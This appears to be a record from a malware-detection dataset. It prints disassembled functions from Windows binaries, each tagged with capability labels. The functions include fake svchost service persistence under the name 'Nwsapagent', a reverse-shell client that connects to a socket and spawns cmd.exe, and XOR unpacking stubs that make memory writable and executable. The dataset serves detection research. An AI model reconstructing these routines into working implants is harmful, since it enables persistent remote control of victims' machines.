joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10044a95
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x10044ab5
push 0xfd2
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x10044be1
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x10]
cmp dword [eax], 0
jne 0x10044b90
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
cmp dword [eax], ecx
jg 0x10044b26
mov dword [ebp - 0xc], 1
jmp 0x10044b2a
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
mov eax, 0x9aa50887
cmp eax, 0xffffffff
jbe 0x10044b45
mov dword [ebp - 0x14], 1
jmp 0x10044b49
and dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
cmp dword [ebp - 0x14], eax
jle 0x10044b5c
mov dword [ebp - 0x18], 1
jmp 0x10044b60
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
add ecx, dword [ebp - 0x18]
cmp dword [eax], ecx
jge 0x10044b78
mov dword [ebp - 8], 1
jmp 0x10044b7c
and dword [ebp - 8], 0
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
cmp dword [ebp - 8], 0
jne 0x10044b90
and dword [ebp - 0x1c], 0
jmp 0x10044b97
mov dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x54]
mov dword [eax], 0xffffffff
cmp dword [ebp - 0x1c], 0xffffffff
jl 0x10044baf
mov dword [ebp - 0x20], 1
jmp 0x10044bb3
and dword [ebp - 0x20], 0
cmp dword [ebp - 0x20], 0
jg 0x10044bc2
mov dword [ebp - 0x24], 1
jmp 0x10044bc6
and dword [ebp - 0x24], 0
cmp dword [ebp - 0x24], 0
je 0x10044bd5
mov dword [ebp - 0x28], 1
jmp 0x10044bd9
and dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x28]
mov dword [eax], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10077205
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10080330]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.1006800c
mov dword [ebp - 0x14], eax
cmp dword [0x1066d924], esi
jne 0x100772f8
push 0x800
push esi
push 0x1000787c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x10077285
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x100773d8
push esi
push esi
push 0x1000787c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x100773d8
push 0x10007894
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100773d8
push eax
call ebx
push 0x100078a0
push edi
mov dword [0x1066d924], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x100078b0
push edi
mov dword [0x1066d928], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x100078c4
push edi
mov dword [0x1066d92c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1066d934], eax
test eax, eax
je 0x100772f5
push 0x100078e0
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1066d930], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1007731d
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10077310
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x10077332
push 4
pop eax
jmp 0x100773da
cmp dword [ebp - 0x14], esi
je 0x10077332
push dword [0x1066d924]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x10077317
mov eax, dword [0x1066d930]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x10077390
cmp dword [0x1066d934], edi
je 0x10077390
push eax
call ebx
push dword [0x1066d934]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x10077390
test eax, eax
je 0x10077390
call ecx
test eax, eax
je 0x10077385
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x10077385
test byte [ebp - 8], 1
jne 0x10077390
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x100773c0
mov eax, dword [0x1066d928]
cmp eax, edi
je 0x100773bd
push eax
call ebx
test eax, eax
je 0x100773bd
call eax
mov esi, eax
test esi, esi
je 0x100773bd
mov eax, dword [0x1066d92c]
cmp eax, edi
je 0x100773bd
push eax
call ebx
test eax, eax
je 0x100773bd
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x1066d924]
call ebx
test eax, eax
je 0x100773d8
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x100773da
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call main
mov esp, ebp
pop ebp
ret
Function at 0x4099a4
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409a77
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409a90
push ebx
push 0x409a9c
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409a24
mov al, 0x69
call fcn.00409648
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.00409978
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a2d
call fcn.00409978
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409a7e
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409b30
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409be4
jmp 0x409bd9
cmp dword [esi + 0x10], 0x1000
jne 0x409bc5
test byte [esi + 0x15], 1
jne 0x409bc5
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409b84
cmp eax, 2
je 0x409b84
cmp eax, 0x10
je 0x409b84
cmp eax, 0x20
jne 0x409b99
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409b99
mov bl, 1
xor ebp, ebp
jmp 0x409baa
mov eax, dword [esi]
add eax, ebp
call fcn.00409b28
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409b9d
test bl, bl
je 0x409bc5
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409be4
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409b5c
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x10001000
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x208], eax
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xe]
push ecx
mov word [esp + 0x10], ax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x104
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 4
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.MSVCR90.dll_memmove]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
add esp, 0xc
push str.ProgramData
push esi
call edi
push str.Microsoft_Files
push esi
call edi
mov ecx, dword [esp + 0x20c]
pop edi
xor ecx, esp
call fcn.10001471
add esp, 0x20c
ret

Function at 0x10001080
Capabilities:
Create service
Persist via windows service
Print debug messages

Disassembly:
sub esp, 0x20c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x208], eax
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
jne 0x100010cd
push str.OpenSCManager_error_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
xor eax, eax
pop edi
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.10001471
add esp, 0x20c
ret
push 0xf01ff
push str.Nwsapagent
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
test eax, eax
jne 0x10001143
push esi
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call sub.MSVCR90.dll_memset
add esp, 0xc
lea esi, [esp + 8]
call fcn.10001000
push str._svchost.exe__k_netsvcs
mov edx, esi
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0
push 0
push 0
push 0
mov eax, esi
push eax
push 1
push 2
push 0x110
push 0xf01ff
push str.Internet_Router_Service
push str.Nwsapagent
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
pop esi
test eax, eax
je 0x1000114c
push ebx
call fcn.10001170
add esp, 4
call fcn.100012c0
mov ecx, dword [esp + 0x20c]
pop edi
xor ecx, esp
mov eax, 1
call fcn.10001471
add esp, 0x20c
ret
Function at 0x10001170
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 0xc
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push edi
lea eax, [esp + 0xc]
push eax
push 0x2001f
push 0
push str.SYSTEMCurrentControlSetServicesNwsapagent
push 0x80000002
mov dword [esp + 0x24], 2
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x100011da
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetServicesNwsapagent
push 0x80000002
call edi
test eax, eax
je 0x100011da
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0xc
ret
lea eax, [esp + 0xc]
push eax
push 0x2001f
push 0
push str.SYSTEMCurrentControlSetServicesNwsapagentParameters
push 0x80000002
call esi
test eax, eax
je 0x1000121d
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SYSTEMCurrentControlSet_servicesNwsapagentParameters
push 0x80000002
call edi
test eax, eax
jne 0x100011d1
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
push str.ControlPrintProcessor
call esi
push ebp
mov edi, eax
call esi
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
lea eax, [edi + edi]
push eax
push str.ControlPrintProcessor
push 1
push 0
push str.ServiceMain
push ecx
mov dword [esp + 0x30], 1
call esi
test eax, eax
jne 0x100012a7
push 4
lea edx, [esp + 0x1c]
push edx
push 4
push eax
mov eax, dword [esp + 0x20]
push str.ServiceDllUnloadOnSto
push eax
call esi
test eax, eax
jne 0x100012a7
mov edx, dword [esp + 0x10]
lea ecx, [ebx + ebx]
push ecx
push ebp
push 2
push eax
push str.ServiceDll
push edx
call esi
test eax, eax
jne 0x100012a7
lea esi, [eax + 1]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, esi
pop esi
pop ebp
add esp, 0xc
ret
mov eax, dword [esp + 0x10]
push eax
xor esi, esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, esi
pop esi
pop ebp
add esp, 0xc
ret
Function at 0x100012c0
Capabilities:
Print debug messages
Query service status
Start service

Disassembly:
sub esp, 0x1c
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
jne 0x100012eb
push str.OpenSCManager_error_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
xor eax, eax
pop edi
add esp, 0x1c
ret
push esi
push 0xf01ff
push str.Nwsapagent
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x1000131d
push str.open_nwsapagent_error
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
xor eax, eax
pop edi
add esp, 0x1c
ret
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x1000133f
cmp dword [esp + 0xc], 1
jne 0x1000133f
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push str.Start_frtest.dat_success
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop esi
pop edi
add esp, 0x1c
ret

Function at 0x10001360
Capabilities:
Copy file
Get common file path

Disassembly:
sub esp, 0x61c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x618], eax
mov eax, dword [esp + 0x624]
sub eax, 1
jne 0x10001455
push 0x206
push eax
lea ecx, [esp + 0x41a]
push ecx
mov word [esp + 0x41c], ax
call sub.MSVCR90.dll_memset
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x16]
push eax
mov word [esp + 0x18], dx
call sub.MSVCR90.dll_memset
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x22a]
push edx
mov word [esp + 0x22c], cx
call sub.MSVCR90.dll_memset
add esp, 0x24
push 0x104
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
test eax, eax
jne 0x100013fa
push 0x104
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push ebx
push esi
push edi
lea esi, [esp + 0x214]
call fcn.10001000
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str._svchost.exe
lea edx, [esp + 0x10]
push edx
call edi
push str._svchost.exe
mov eax, esi
push eax
call edi
push 1
mov ecx, esi
push ecx
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea esi, [esp + 0x41c]
call fcn.10001000
push str._frtest.dat
mov eax, esi
push eax
call edi
mov ebx, esi
call fcn.10001080
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x618]
xor ecx, esp
mov eax, 1
call fcn.10001471
add esp, 0x61c
ret 0xc

Function at 0x10001471
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x1000147b
repz ret
jmp fcn.1000182e
Function at 0x401410
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 0x190
mov dword [ebp - 0x15b], 0
lea eax, [ebp - 0x157]
mov ecx, 0xfb
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call sym._GetStartupInfoA_4
sub esp, 4
mov dword [ebp - 0x4c], 0x44
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], 0x101
mov word [ebp - 0x1c], 0
mov dword [esp + 4], 0xff
lea eax, [ebp - 0x15b]
mov dword [esp], eax
call sym._GetSystemDirectoryA_8
sub esp, 8
lea eax, [ebp - 0x15b]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x15b]
add eax, edx
mov dword [eax], 0x646d635c
mov dword [eax + 4], 0x6578652e
mov byte [eax + 8], 0
lea eax, [ebp - 0x5c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x4c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x15b]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
test eax, eax
sete al
test al, al
je 0x401545
mov dword [esp], 0x3e8
call sym._Sleep_4
sub esp, 4
jmp 0x4014d4
mov eax, dword [ebp - 0x5c]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
lea esp, [ebp - 8]
pop ebx
pop edi
pop ebp
ret
Function at 0x40157f
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x1d4
call sym.___main
lea eax, [ebp - 0x1b0]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
cmp eax, 0xffffffff
sete al
test al, al
je 0x4015c5
mov eax, 0
jmp 0x401695
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._WSASocketA_24
sub esp, 0x18
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
sete al
test al, al
je 0x401614
mov eax, 0
jmp 0x401695
mov word [ebp - 0x20], 2
mov eax, dword [str.127.0.0.1]
mov dword [esp], eax
call sym._inet_addr_4
sub esp, 4
mov dword [ebp - 0x1c], eax
mov dword [esp], 0x270f
call sym._htons_4
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._connect_12
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x401668
jmp 0x401640
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call dbg.StartShell(unsigned int)
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
mov dword [esp], 0x7530
call sym._Sleep_4
sub esp, 4
jmp 0x4015c5
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..reloc
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x74460d8f
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x42e060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
je 0x42e0d2
nop
nop
nop
nop
nop
mov ebx, 0x42cd70
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x4f8b525f
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x153c15c5
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x41f86696
nop
nop
nop
nop
test eax, eax
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..idata
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x26600a0d
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x14d02270
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401580
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [0x8c6030]
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
xor ebp, ebp
xor eax, eax
test ecx, ecx
jle 0x4015b4
lea esi, [edx + ebp]
mov ecx, dword [edi]
mov bl, byte [esi]
xor byte [ecx + eax], bl
add ecx, eax
mov ecx, dword [0x8c6030]
inc eax
add esi, 4
cmp eax, ecx
jl 0x40159d
inc ebp
add edi, 4
cmp ebp, 4
jl 0x401594
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x401630
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
push edi
sub ecx, eax
sub esi, eax
mov edi, 4
mov dl, byte [ecx + eax]
mov bl, byte [eax]
xor dl, bl
mov byte [esi + eax], dl
inc eax
dec edi
jne 0x401648
pop edi
pop esi
pop ebx
ret

Function at 0x401840
Capabilities:
Encode data using xor

Disassembly:
push edi
mov edi, dword [esp + 0x14]
test edi, edi
jbe 0x40186b
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
push ebx
push esi
mov esi, dword [esp + 0x18]
sub ecx, eax
sub esi, eax
mov dl, byte [ecx + eax]
mov bl, byte [eax]
xor dl, bl
mov byte [esi + eax], dl
inc eax
dec edi
jne 0x40185b
pop esi
pop ebx
pop edi
ret